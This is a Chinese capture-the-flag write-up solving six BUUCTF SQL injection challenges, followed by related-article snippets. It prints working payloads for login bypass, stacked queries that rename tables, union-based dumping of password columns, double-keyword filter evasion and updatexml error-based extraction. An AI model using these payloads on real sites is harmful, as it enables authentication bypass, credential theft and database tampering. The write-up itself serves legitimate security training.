BUUCTF web SQL注入篇

news/2024/8/25 12:42:12

文章目录

  • [极客大挑战 2019]EasySQL
  • [强网杯 2019]随便注
  • [SUCTF 2019]EasySQL
  • [极客大挑战 2019]LoveSQL
  • [极客大挑战 2019]BabySQL
  • [极客大挑战 2019]HardSQL

[极客大挑战 2019]EasySQL

在这里插入图片描述
根据题目,可以使用万能密码来尝试登陆。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[强网杯 2019]随便注

在这里插入图片描述

  1. 根据题目,可以想到此题目为sql注入,提交1与1’的结果如下在这里插入图片描述
    在这里插入图片描述
    说明闭合方式为1’
  2. 使用1’ order by 查询字段数,得出为两列在这里插入图片描述
    在这在这里插入代码片里插入图片描述
    使用联合注入,发现select被过滤,常用的注入方式无法满足,尝试堆叠注入。
1'; show tables;#     
0'; show tables;#      //获得两个表名

在这里插入图片描述

在这里插入图片描述
4.

0'; show columns from `words`;#

0'; show columns from `1919810931114514`;#     
//注意表明左右两侧应用键盘左上角的`符号,不可以用单引号

在这里插入图片描述
在这里插入图片描述
5. 经观察,flag1919810931114514表中,可以看到words表里有两个属性,即两列:iddata。而1919810931114514表里只有一个属性列说明输入框可能查询的就是words表。思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来

1';rename table `words` to words2;     //先把words表表明换成其他
1';rename table `1919810931114514` to `words`;#
1'; alter table words change flag id varchar(100);#
1'; show tables;# 
1'; show columns from words;# 

在这里插入图片描述
varchar函数返回字符串、日期型、图形串的可变长度的字符串表示。 eg: select varchar (name,50) from test --50为截取长度,如果name字符串的长度大于50,则返回“SQL0445W 值已被截断。

[SUCTF 2019]EasySQL

  1. 与上一关相同的思路,输入1和2查看回显均相同,而字母没有回显。在这里插入图片描述
    在这里插入图片描述
  2. 输入1’,没有回显,说明存在sql注入,即不考虑报错注入的方法
  3. 使用order by查询字段,发现不论order by后面输入几显示都一样,则可能过滤了order by 字段。
    在这里插入图片描述
  4. 排除了报错注入和来联合查询注入,我们可以尝试布尔注入,发现回显结果依旧如上。
1 and length(database())>=1#

1' and length(database())>=1#

在这里插入图片描述
在这里插入图片描述
5. 我们继续尝试时间盲注

1 and if(length(database())>=1,1,sleep(5))#

1' and if(length(database())>=1,1,sleep(5))#

在这里插入图片描述
在这里插入图片描述
发现回显依然相同。
6. 我们继续尝试堆叠注入

1;show databases#

在这里插入图片描述

1;show tables#

在这里插入图片描述

1;show columns from Flag#

在这里插入图片描述
7. 这时候我们要重新考虑前面的步骤,这道题目需要我们去对后端语句进行猜测
一、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
二、也就是select 输入的数据||内置的一个列名 from 表名=>即为

select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)

此时的||起到的作用是or的作用。
8. 内置的sql语句为

sql=“select”.post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为* ,1,sql语句就变成了

select *,1||flag from Flag

select *,1 from Flag

在这里插入图片描述
*,1 后面的这个1就是为了吃掉||但是得非0数字(比如2.3.4.5.6),输入字母它是不会识别的。

[极客大挑战 2019]LoveSQL

首先判断为单引号闭合在这里插入图片描述
尝试万能密码,登录成功,结果尝试不是正确的flag
在这里插入图片描述
我们重新从order by查询字段开始

?username=admin'  order by 3# &password=admin

在这里插入图片描述
查看url处,发现字符被url编码,我们可以尝试将注释符#进行url编码,得到字段数为3在这里插入图片描述

在这里插入图片描述

?username=-1' union select 1,2,3%23 &password=admin

在这里插入图片描述
联合查询获得数据库

?username=-1' union select 1,2,database()%23 &password=admin   

在这里插入图片描述
获得表名

?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 &password=admin

在这里插入图片描述
查看l0ve1ysq1表中的字段

?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23 &password=admin

在这里插入图片描述
查看geekuser表中的字段

?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23 &password=admin

在这里插入图片描述
查看geekuser字段中的password的值

?username=-1' union select 1,2,group_concat(password) from geek.geekuser%23 &password=admin

在这里插入图片描述
查看l0ve1ysq1字段中的password的值,得到flag

?username=-1' union select 1,2,group_concat(password) from geek.l0ve1ysq1%23 &password=admin

在这里插入图片描述

[极客大挑战 2019]BabySQL

在这里插入图片描述
又是前面熟悉的SQL注入的题目的背景图
首先尝试万能密码登录,发现数据使用为get方式传参,提示用户名密码错误。在这里插入图片描述在这里插入图片描述
经过测试字符串的闭合方式为单引号在这里插入图片描述
尝试将密码注释掉,登录成功。

?username=admin' --+&password=1

在这里插入图片描述
查看报错信息,发现or被过滤

?username=admin' order by 3--+&password=1

在这里插入图片描述
尝试双写关键字绕过

?username=admin' oorrder by 2--+ &password=1

在这里插入图片描述
但是使用万能密码却可以登录成功

?username=admin' oorr  '1'='1--+ &password=1

在这里插入图片描述
继续尝试联合注入的语句,发现union select均被过滤

?username=admin' union select 1,2,3,4--+ &password=1

在这里插入图片描述
继续尝试双写关键字绕过,得到字段数为3

?username=admin' uniunionon seleselectct 1,2,3--+ &password=1

在这里插入图片描述
接着查看联合注入的回显位置

?username=1' uniunionon seleselectct 11,22,33--+ &password=1

在这里插入图片描述
继续查看数据库为geek

?username=1' uniunionon seleselectct 11,22,database()--+ &password=1

在这里插入图片描述
继续查看表名,发现where、from、or被过滤,均使用双写关键字绕过。得到表名为b4bsql,geekuser

?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'--+ &password=1

在这里插入图片描述
爆出表b4bsql中的字段名

?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+&password=1

在这里插入图片描述
爆出字段b4bsql字段中paaaword的值,得到flag。

?username=1' uniunionon selselectect 11,22,group_concat(passwoorrd) frfromom geek.b4bsql--+&password=1

在这里插入图片描述

[极客大挑战 2019]HardSQL

在这里插入图片描述

  1. 随便输入一个用户名和密码,查看url,发现为get传参方式。在这里插入图片描述
check.php?username=aaa&password=aaa'

尝试单引号发现出现报错,查看报错提示,猜测闭合方式为单引号
3. 经过测试,空格和注释符号均被注释,注释用%23进行绕过,而将空格使用()来绕过。使用联合注入不太行,尝试报错注入。在用户名或密码处进行注入均可。
4. 爆库名

check.php?username=admin&password=aaa'or(updatexml(1,concat(0x7e,database()),1))%23

check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,database()))%23

在这里插入图片描述

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23

在这里插入图片描述

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

在这里插入图片描述

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))%23

在这里插入图片描述

  1. 空格被过滤可以使用/**/或者()绕过
  2. =号被过滤可以用like来绕过
  3. substringmid被过滤可以用rightleft来绕过

右边的flag

admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23  

在这里插入图片描述

将两次得到的flag进行拼接即可。


http://www.niftyadmin.cn/n/3759274.html

相关文章

java中常用的工具类(二)

为什么80%的码农都做不了架构师?>>> 1、FtpUtil package com.itjh.javaUtil;import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.util.ArrayList; import java.util.List;i…

命令执行篇

文章目录漏洞原理漏洞概述漏洞产生条件常用命令windowslinux漏洞危害利用方法管道符补充:常见URL转码危险函数PHP系统命令常见绕过空格绕过管道符绕过拼接绕过编码绕过关键字绕过IP中的点绕过长度限制绕过函数绕过文件包含读取高亮显示通过复制、重命名读取php文件内…

sqli-labs通关攻略教程——双服务器+宽字节注入(less29~less37)

文章目录补充知识-服务器的两层架构less 29less 30less 31less 32less 33less 34less 35less 36less 37从29关开始使用docker搭建的sqli-labs靶场KALI搭建DockerVulhub和sqli-labs靶场补充知识-服务器的两层架构 mysql之注入天书服务器 服务器两层架构即不同的id值有不同的服…

python(6)

多线程开发1、threading.Thread模块startgetName():获取名称setName():设置名称isDaemon()setDaemon()join(timeout):进程等线程的时候,比如timeout等于5就是执行到线程的时候进程等线程5秒钟,如果线程执行超过5秒就不等待,继续执行进程run()…

mysql从txt导入数据,导出数据到txt

2019独角兽企业重金招聘Python工程师标准>>> 导出数据到txt: 1.select 列1,列2, ....... 列n from tbname [where 条件] into outfile "C:\backup\data.txt" FIELDS TERMINATED BY \t lines terminated by \n; 导出的数据是每列用tab 分开的具体数据…

操纵浏览器的历史记录

window对象通过history对象提供对浏览器历史记录的访问能力。它暴露了一些非常有用的方法和属性,让你在历史记录中自由前进和后退,而在HTML5中,更可以操纵历史记录中的数据。 历史记录概览 可以通过back(),forward()和go()方法在用…

细谈 oracle备份的方法

细谈 oracle备份的方法【内容导航】 第1页:了解ORACLE的运行方式  第2页:ORACLE备份的分类 第3页:定制恰当的备份策略 【IT168 服务器学院】一、了解备份的重要性 可以说,从计算机系统出世的那天起,就有了备份这个概念…

paper 33 :[教程] 如何使用libsvm进行分类

文章来源:http://www.matlabsky.com/thread-12379-1-1.html 这篇文章的讲解的真的是言简意赅,很简单的例子就把这个入门的门槛降低了不少,目前的情况是,我都晓得这个原理了(稍微嘚瑟一下),但是还是情不自禁的把faruto这…